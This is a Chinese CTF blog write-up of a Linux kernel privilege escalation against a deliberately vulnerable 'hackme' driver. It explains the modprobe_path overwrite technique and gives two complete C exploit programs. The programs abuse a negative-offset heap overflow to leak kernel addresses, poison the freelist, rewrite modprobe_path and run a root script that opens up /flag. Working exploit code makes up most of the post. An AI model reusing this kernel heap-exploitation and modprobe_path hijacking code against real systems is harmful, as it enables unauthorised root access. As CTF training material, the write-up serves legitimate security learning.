Kernel🐕都不学
本身modprobe
是用来加载内核模块的(在之前编写内核模块的时候我们使用过) 他可以直接加载一组相互依赖的模块或者卸载相互依赖的模块 但是比较特殊的是这个程序的路径是一个内核全局变量 默认是/sbin/modprobe
我们可以运行cat /proc/sys/kernel/modprobe
来查看
并且这个路径在内核内部是可写的 最为特殊的是如果我们运行一个未知格式的文件
时 会自动调用modprobe_path
指向的程序 那么如果我们在内核内可以修改掉这个全局变量的话 我们就可以在使用system或者execvce执行未知文件类型的错误文件时
就可以任意执行我们想要执行的程序了
modprobe
执行程序的完整调用链为
(1)do_execve() (2)do_execveat_common() (3)bprm_execve() (4)exec_binprm() (5)search_binary_handler() (6)request_module() (7)call_usermodehelper()
其余的并不是很重要 主要是这一条流程全部都是在内核态root
权限下实现的 如此我们便可以实现部分提权操作
其实本题基本上是照搬了2019 STARCTF-hackme
基本上什么都没改..
给出的附件很干净 只有最基础的几个文件
那就先提取vmlinux
这里我使用的是vmlinux_to_elf
因为我使用extract-vmlinux.sh
提取不出来符号表 当然也就没有什么用了
然后看一下启动脚本 可以看到启用了kaslr和smep
如果一会需要地址的话我们需要自己泄漏基地址
这里为了初始的方便起见 我们先把kaslr
关掉
bashqemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./initramfs.cpio \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-s \
-nographic \
然后就是解压文件系统
bashcpio -idv < ./initramfs.cpio
其中init
为空
主要还是看hackme_ioctl
通过功能和传参分析 发现hackme_ioctl
传参为一个大小为0x20的结构
其实就是一个结构体 我们可以自己定义结构
cstruct data
{
size_t idx;
size_t buf;
size_t length;
size_t offset;
/* data */
};
程序主要实现了增删改查四个功能 其中漏洞点主要在改和查 很明显offset
没有限制负数 导致可以任意向上更改和查询
启动虚拟机后我们是CTF
用户 没有权限读取flag 我们可以通过修改modprobe_path
然后写一个sh脚本 将flag权限修改为777
那么基本思路就是利用内核堆与fastbin
类似的特性 先后释放的堆块会相互存在指针连接 然后我们泄露出内核基址 然后通过修改堆块之间的指针 申请到pool
附近的内存 然后造成任意写 以达到修改modprobe_path
的目的
c
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
// gcc exp.c -o exp -static -masm=intel -g
struct data
{
size_t idx;
size_t buf;
size_t length;
size_t offset;
/* data */
};
void k_malloc(fd,idx,size,buffer)
{
struct data a;
a.length=size;
a.buf=buffer;
a.idx=idx;
ioctl(fd,0x30000,&a);
}
void k_free(fd,idx)
{
struct data a;
a.idx=idx;
ioctl(fd,0x30001,&a);
}
void k_edit(fd,idx,size,buffer,offset)
{
struct data a;
a.length=size;
a.buf=buffer;
a.idx=idx;
a.offset=offset;
ioctl(fd,0x30002,&a);
}
void k_show(fd,idx,size,buffer,offset)
{
struct data a;
a.length=size;
a.buf=buffer;
a.idx=idx;
a.offset=offset;
ioctl(fd,0x30003,&a);
}
void main()
{
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /test.sh");
system("chmod +x /test.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /fuck");
system("chmod +x /fuck");
size_t modprobe_path=0xffffffff8183f960;
size_t pool=0xffffffffc0002400;
int fd=open("/dev/hackme",0);
void *buffer=malloc(0x100);
memset(buffer,'a',0x100);
k_malloc(fd,0,0x100,buffer);
k_malloc(fd,1,0x100,buffer);
k_malloc(fd,2,0x100,buffer);
k_malloc(fd,3,0x100,buffer);
k_malloc(fd,4,0x100,buffer);
k_free(fd,1);
k_free(fd,3);
size_t *buffer1=malloc(0x100);
buffer1[0]=pool+0x90;
k_edit(fd,4,0x100,buffer1,-0x100);
k_show(fd,4,0x100,buffer1,-0x100);
size_t heap_addr=*buffer1;
printf("%p",heap_addr);
size_t* buffer2=malloc(0x100);
buffer2[0]=modprobe_path;
buffer2[1]=0x100;
k_malloc(fd,5,0x100,buffer);
k_malloc(fd,6,0x100,buffer2);
char* buffer3=malloc(0x100);
strncpy(buffer3,"/test.sh\0",9);
k_edit(fd,9,0x100,buffer3,0);
system("/fuck");
system("cat /flag");
}
c
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
// gcc exp.c -o exp -static -masm=intel -g
struct data
{
size_t idx;
size_t buf;
size_t length;
size_t offset;
/* data */
};
void k_malloc(fd,idx,size,buffer)
{
struct data a;
a.length=size;
a.buf=buffer;
a.idx=idx;
ioctl(fd,0x30000,&a);
}
void k_free(fd,idx)
{
struct data a;
a.idx=idx;
ioctl(fd,0x30001,&a);
}
void k_edit(fd,idx,size,buffer,offset)
{
struct data a;
a.length=size;
a.buf=buffer;
a.idx=idx;
a.offset=offset;
ioctl(fd,0x30002,&a);
}
void k_show(fd,idx,size,buffer,offset)
{
struct data a;
a.length=size;
a.buf=buffer;
a.idx=idx;
a.offset=offset;
ioctl(fd,0x30003,&a);
}
void main()
{
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /test.sh");
system("chmod +x /test.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /fuck");
system("chmod +x /fuck");
int fd=open("/dev/hackme",0);
void *buffer=malloc(0x100);
memset(buffer,'a',0x100);
k_malloc(fd,0,0x100,buffer);
k_malloc(fd,1,0x100,buffer);
k_malloc(fd,2,0x100,buffer);
k_malloc(fd,3,0x100,buffer);
k_malloc(fd,4,0x100,buffer);
k_free(fd,1);
k_free(fd,3);
size_t* buffer1=malloc(0x100);
k_show(fd,4,0x100,buffer1,-0x100);
printf("[*] heap_addr: %p",*buffer1);
size_t ko_base;
puts("\ninput ko_base: ");
scanf("%p",&ko_base);
printf("[*] ko_base: %p\n",ko_base);
size_t* buffer2=malloc(0x100);
k_show(fd,0,0x200,buffer2,-0x200);
printf("[*] kernel_addr: %p\n",buffer2[0]);
size_t kernel_base=buffer2[0]-0x8472c0;
printf("[*] kernel_base: %p\n",kernel_base);
size_t modprobe_path=kernel_base+0x83f960;
size_t pool=ko_base+0x2400;
printf("[*] modprobe_path: %p\n",modprobe_path);
printf("[*] pool: %p\n",pool);
buffer2[0]=pool+0x90;
k_edit(fd,4,0x100,buffer2,-0x100);
k_show(fd,4,0x100,buffer2,-0x100);
buffer2[0]=modprobe_path;
buffer2[1]=0x100;
k_malloc(fd,5,0x100,buffer);
k_malloc(fd,6,0x100,buffer2);
strncpy(buffer,"/test.sh\0",9);
k_edit(fd,9,0x100,buffer,0);
system("/fuck");
system("cat /flag");
// scanf("%p");
}
写完才意识到为啥wp里面的脚本都不用给出来的ko_base
在比赛中打远程的Kernel Pwn是没有人输入的... 只不过需要找一下ko_base
这里可以通过mod_tree
来找
本文作者:Du4t
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!